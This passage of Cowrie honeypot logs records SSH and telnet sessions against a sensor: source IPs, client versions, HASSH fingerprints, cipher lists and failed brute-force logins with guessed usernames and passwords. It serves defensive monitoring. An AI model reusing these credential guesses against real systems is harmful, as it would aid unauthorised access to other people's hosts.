cdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:15:57.777832Z","src_ip":"140.106.25.230","session":"63d699fe9a1d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sftpuser","password":"1234567890","message":"login attempt [sftpuser/1234567890] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:15:57.938163Z","src_ip":"140.106.25.230","session":"63d699fe9a1d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:15:58.978082Z","src_ip":"140.106.25.230","session":"63d699fe9a1d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.32.238.146","src_port":54640,"dst_ip":"10.17.0.5","dst_port":22,"session":"75b6f62fe1c4","protocol":"ssh","message":"New connection: 152.32.238.146:54640 (10.17.0.5:22) [session: 75b6f62fe1c4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:16:17.591945Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:16:17.597650Z","src_ip":"152.32.238.146","session":"75b6f62fe1c4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:16:17.615408Z","src_ip":"152.32.238.146","session":"75b6f62fe1c4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"terrariaserver","password":"1","message":"login attempt [terrariaserver/1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:16:17.690501Z","src_ip":"152.32.238.146","session":"75b6f62fe1c4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:16:18.710400Z","src_ip":"152.32.238.146","session":"75b6f62fe1c4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00298857688904,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:16:20.612780Z","src_ip":"170.79.76.209","session":"1ef280be825d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00798892974854,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:16:31.257186Z","src_ip":"170.79.76.209","session":"38c2b514a078","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"173.249.6.197","src_port":50082,"dst_ip":"159.203.135.109","dst_port":22,"session":"7d1a56b769c1","protocol":"ssh","message":"New connection: 173.249.6.197:50082 (159.203.135.109:22) [session: 7d1a56b769c1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:16:32.030934Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:16:32.037269Z","src_ip":"173.249.6.197","session":"7d1a56b769c1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:16:32.130877Z","src_ip":"173.249.6.197","session":"7d1a56b769c1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"tester","password":"testtest","message":"login attempt [tester/testtest] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:16:32.531822Z","src_ip":"173.249.6.197","session":"7d1a56b769c1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:16:33.627109Z","src_ip":"173.249.6.197","session":"7d1a56b769c1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":36726,"dst_ip":"159.203.135.109","dst_port":22,"session":"7907ba3b8d60","protocol":"ssh","message":"New connection: 159.203.92.129:36726 (159.203.135.109:22) [session: 7907ba3b8d60]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:16:35.809874Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:16:35.814803Z","src_ip":"159.203.92.129","session":"7907ba3b8d60","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:16:35.820101Z","src_ip":"159.203.92.129","session":"7907ba3b8d60","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"a3","password":"a3","message":"login attempt [a3/a3] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:16:35.837261Z","src_ip":"159.203.92.129","session":"7907ba3b8d60","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:16:36.845347Z","src_ip":"159.203.92.129","session":"7907ba3b8d60","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"140.106.25.230","src_port":34164,"dst_ip":"159.203.135.109","dst_port":22,"session":"5d7a7488bce3","protocol":"ssh","message":"New connection: 140.106.25.230:34164 (159.203.135.109:22) [session: 5d7a7488bce3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:16:47.402862Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:16:47.407183Z","src_ip":"140.106.25.230","session":"5d7a7488bce3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:16:47.439238Z","src_ip":"140.106.25.230","session":"5d7a7488bce3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test1","password":"abc","message":"login attempt [test1/abc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:16:47.583911Z","src_ip":"140.106.25.230","session":"5d7a7488bce3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:16:48.615704Z","src_ip":"140.106.25.230","session":"5d7a7488bce3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.186","src_port":45358,"dst_ip":"159.203.135.109","dst_port":22,"session":"c47858192d49","protocol":"ssh","message":"New connection: 80.94.92.186:45358 (159.203.135.109:22) [session: c47858192d49]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:16:53.728206Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:16:53.850266Z","src_ip":"80.94.92.186","session":"c47858192d49","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:16:53.855423Z","src_ip":"80.94.92.186","session":"c47858192d49","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solana","password":"fuckyou","message":"login attempt [solana/fuckyou] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:16:55.270265Z","src_ip":"80.94.92.186","session":"c47858192d49","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:16:56.462581Z","src_ip":"80.94.92.186","session":"c47858192d49","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.32.238.146","src_port":51156,"dst_ip":"10.17.0.5","dst_port":22,"session":"5f9b00be4ad0","protocol":"ssh","message":"New connection: 152.32.238.146:51156 (10.17.0.5:22) [session: 5f9b00be4ad0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:16:59.831877Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:16:59.837349Z","src_ip":"152.32.238.146","session":"5f9b00be4ad0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:16:59.850195Z","src_ip":"152.32.238.146","session":"5f9b00be4ad0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"postgres","password":"Qwe12345","message":"login attempt [postgres/Qwe12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:16:59.944505Z","src_ip":"152.32.238.146","session":"5f9b00be4ad0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:17:00.959172Z","src_ip":"152.32.238.146","session":"5f9b00be4ad0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":42354,"dst_ip":"159.203.135.109","dst_port":22,"session":"e99dcdac5417","protocol":"ssh","message":"New connection: 159.203.92.129:42354 (159.203.135.109:22) [session: e99dcdac5417]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:17:19.498445Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:17:19.503484Z","src_ip":"159.203.92.129","session":"e99dcdac5417","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:17:19.508359Z","src_ip":"159.203.92.129","session":"e99dcdac5417","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"a","password":"1","message":"login attempt [a/1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:17:19.530306Z","src_ip":"159.203.92.129","session":"e99dcdac5417","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:17:20.537803Z","src_ip":"159.203.92.129","session":"e99dcdac5417","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"140.106.25.230","src_port":51436,"dst_ip":"159.203.135.109","dst_port":22,"session":"795042f3d6ae","protocol":"ssh","message":"New connection: 140.106.25.230:51436 (159.203.135.109:22) [session: 795042f3d6ae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:17:35.480675Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:17:35.485941Z","src_ip":"140.106.25.230","session":"795042f3d6ae","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1